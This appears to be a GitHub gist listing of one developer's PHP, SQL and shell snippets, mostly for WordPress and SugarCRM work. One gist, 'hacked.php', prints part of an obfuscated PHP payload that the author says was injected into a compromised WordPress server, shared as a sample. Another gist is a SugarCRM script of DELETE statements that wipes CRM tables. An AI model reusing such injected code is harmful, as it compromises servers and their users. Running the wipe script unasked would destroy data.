Skip to content

Instantly share code, notes, and snippets.

View matthewpoer's full-sized avatar

Matthew Poer matthewpoer

View GitHub Profile
@matthewpoer
matthewpoer / grab_filename_from_url.php
Created October 14, 2013 14:26
Return the file name from a provided $url. URL should be absolute.
/**
* Return the file name from a provided $url
*
* URL structure should be absolute, e.g.
* http://site.example.com/path/file_name_to_find.ext
*
* @param $url string
* @return string
*/
function grab_filename_from_url($url){
@matthewpoer
matthewpoer / map_marker_gen.php
Created November 15, 2013 04:25
Script to take a few input png files (e.g. 25x40 named blue_Marker.png) and create 0-99 annotations for them
<?php
$colors = array('blue','green','grey','navy','orange','purple','red','yellow');
foreach($colors as $color){
echo $color;
$text = "[foodbank {$color} blank]";
$root_file = $color.'_Marker.png';
for($i=00;$i<100;$i++){
echo $i;
$num = strval($i);
if(strlen($num) == 1){
@matthewpoer
matthewpoer / hacked.php
Created December 31, 2013 00:53
Last week our web server was compromised. We noticed when it erupted in 500 errors. It seems that virtually every *.php file within WordPress had it's first line (the <?php opener) replaced with a 13000-character-long script of obfuscated PHP. I'm not sure if the injected code is part of the exploit or if it's the payload. System was WordPress 3…
$xymyqropbw = '7825}&;ftmbg}%x5c%x787f;!osvufs}w;*%x5c%x5c%x787f<*XAZASV<*w%x5c%x7825)ppde>u%x5c%%x7825)sf%x5c%x7878pmpusut)tpqsc%x78223}!+!<+{e%x5c%x7825+x5c%x7825z>2<!%x5c%x7825ww2)%x5c%x7860%x5c%x7825}X;!sp!*#opo#>>}R;msv}.;%x5c%x782f#%x5c%5c%x782f7#@#7%x5c%x782f7^#iubq#%x5c%x785cq%x5c%x78x5c%x7824gvodujpo!%x5c%x7824-%x5fubmgoj{h1:|:*mmvo:>:iuhofm%x5c%epc}A;~!}%x5c%x787f;!|!}{;)gj}%x5c%x7825-qp%x5c%x7825)54l}%x5c%x78x5c%x7825)m%x5c%x7825):fmji%x5c%x7878:<##:>:h%x5c%c%x782f%x5c%x7824)#P#-#Q#-#B#-#T#-#Ec%x7827!hmg%x5c%x7825)!gj!~<ofmy%x5c%x7825,3,j%x5c%x7825>j%x5c%x7825!!%x5c%x7825t::!>!%x5c%x7824Ypp3)%x5c%x7825cB%x5c%x7825iN}#-!tussfw)%x%x782f#00#W~!Ydrr)%x5y81]273]y76]258]y6g]273]y76]271]y7d]252]y74]256#562]38y]572]48y]#>m%x5c%x7825:|:*r%x5c-#1]#-bubE{h%x5c%x7825)tpqsut>%x7860opjudovg%x5c%x7822)!gj}1~!<2p%x5c%x7825%x5cosvufs!|ftmf!~<**9.-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt)fubmgt0*?]+^?]_%x5c%x785c}X%x5c%x7824<!%x5c%x7825tzw>!#]y76]277x7825:<#64y]552]e7y]gj!|!*nbsbq%x5c%x7825)323ldfidk!~!<**qp%x5c%x7825!-u
@matthewpoer
matthewpoer / concat_csv.sh
Created January 3, 2014 04:31
Ever receive a data set that's split into multiple files? And you just need one damn CSV file...
for f in *.csv
do
cat $f >> wrap.csv
done
echo 'done'
@matthewpoer
matthewpoer / starting_day_of_week.sql
Created January 22, 2014 22:46
sub some field for the date string I supplied (in both places). Copied from http://dev.mysql.com/doc/refman/5.5/en/date-and-time-functions.html#c4985
select date_sub('2014-01-22', interval dayofweek('2014-01-22')-1 day) as week_start_sunday;
select date_sub('2014-01-22', interval dayofweek('2014-01-22')-2 day) as week_start_monday;
@matthewpoer
matthewpoer / past.php
Last active August 29, 2015 13:56
Example of SugarCRM "Split Subpanels" - i.e. a single subpanel is split into two. In this example a WHERE clause separates future from past transactions from a custom Transactions module.
<?php
// modules/PSI_Payments/metadata/subpanels/past.php
$module_name='PSI_Payments';
$subpanel_layout = array (
'top_buttons' =>
array (
0 =>
array (
'widget_class' => 'SubPanelTopCreateButton',
),
@matthewpoer
matthewpoer / last_year_to_date.sql
Created February 13, 2014 17:00
MySQL where clauses to help isolate records (e.g. invoices) "last year to date"
-- where syntax to help count up records (e.g. invoices) from last year to date
and date_field > concat(cast(extract(year from subdate(now(),365)) as char),'-01-01')
and date_field < subdate(now(),365)
@matthewpoer
matthewpoer / post_install.php
Created March 27, 2014 19:20
When installing a package, maybe you need to add some buttons to a modules detail or edit view? Maybe you'd like to add your button without, you know, wiping out existing customization to the system's layout? Here's how you'd do that with a post_install script. Simply place this within your module's directory at /scripts/post_install.php, zip it…
<?php
function post_install(){
// define our new button that will copy into detailviewdefs.php
$button = array(
'customCode' => '<input type=\'button\' title=\'Create Payments\' onclick=\'this.form.action.value=\\\'CreatePayments\\\';\' />',
'sugar_html' => array(
'type' => 'submit',
'value' => 'Create Payments',
'htmlOptions' => array(
'class' => 'button',
@matthewpoer
matthewpoer / gist:9825996
Created March 28, 2014 05:29
How not to return a "No Results" message. Yep, this web service returns an empty HTML page after the text "No Returns Available."
string(142) "No Returns Available
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="Head1"><title>
API
</title></head>
<body>
</body>
</html>"
@matthewpoer
matthewpoer / sugarcrm_wipe.sql
Last active August 29, 2015 13:59
Wipe out a SugarCRM System but Maintain Users, Teams, Roles, and Email Templates. If you want to wipe those elements as well, un-comment the appropriate lines. Note that if you have custom modules or fields, that the custom tables aren't wiped out with this.
delete from accounts;
delete from accounts_audit;
delete from accounts_bugs;
delete from accounts_cases;
delete from accounts_contacts;
delete from accounts_cstm;
delete from accounts_opportunities;
delete from accounts_users_1_c;
-- delete from acl_actions;
-- delete from acl_fields;